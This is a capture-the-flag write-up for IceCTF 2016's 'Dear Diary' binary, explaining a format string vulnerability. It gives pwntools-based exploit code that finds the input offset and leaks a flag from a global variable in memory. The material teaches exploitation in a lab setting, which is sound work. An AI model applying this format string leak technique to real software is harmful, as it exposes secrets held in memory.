IceCTF 2016: Dear Diary

Overview

Deardiary is a CTF challenge that drops you into an interactive menu with three options (add entry, print latest entry, quit). By placing a “%x” in the diary and printing it we see there’s a format string vulnerability. Further, through a cursory look at the binary we can tell that it first reads the flag into memory prior to dopping the user into a prompt. This means we are supposed to use the format string vulnerability to print out the flag.

Example:

$ ./deardiary
-- Diary 3000 --

1. add entry
2. print latest entry
3. quit
> 1
Tell me all your secrets: %x

1. add entry
2. print latest entry
3. quit
> 2
6e

1. add entry
2. print latest entry
3. quit
> 3

The Vulnerability

As stated earlier, this is a strait forward format string vulnerability. With the goal being to print out the flag from memory, we can find that the flag is actually being read into a global variable named data. Because this is a global variable and this binary is not position independent, this gives us a static address to read.

Step 1: exec_fmt

The first step in using the FormatString class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we’re not worried about exploiting the vulnerability, we’re simply interacting with the program.

def exec_fmt(s):
    p = process("./deardiary",buffer_fill_size=0xffff)
    p.recvuntil("quit")
    # Create a new entry with our format string
    p.sendline("1")
    p.sendline(s)
    p.recvuntil("quit")
    # Print the entry
    p.sendline("2")
    p.recvuntil(">")
    # Grab the relevant output to return
    out = p.recvuntil("1.",drop=True)
    p.recvuntil("quit")
    p.close()
    return out

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we’ll also open an ELF class on the exe.

from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./deardiary")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you’ll see something like this:

Found the offset to our input! Index = 18, Pad = 0

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Read the flag

We now have a functional and initialize FormatString class. We also know where the flag resides (global variable data). Now we can simply read the flag from memory.

fmtStr.leak.s(elf.symbols['data'])

That’s it. Your flag is printed. If this were the CTF, you could change process to remote and run it again to grab the flag.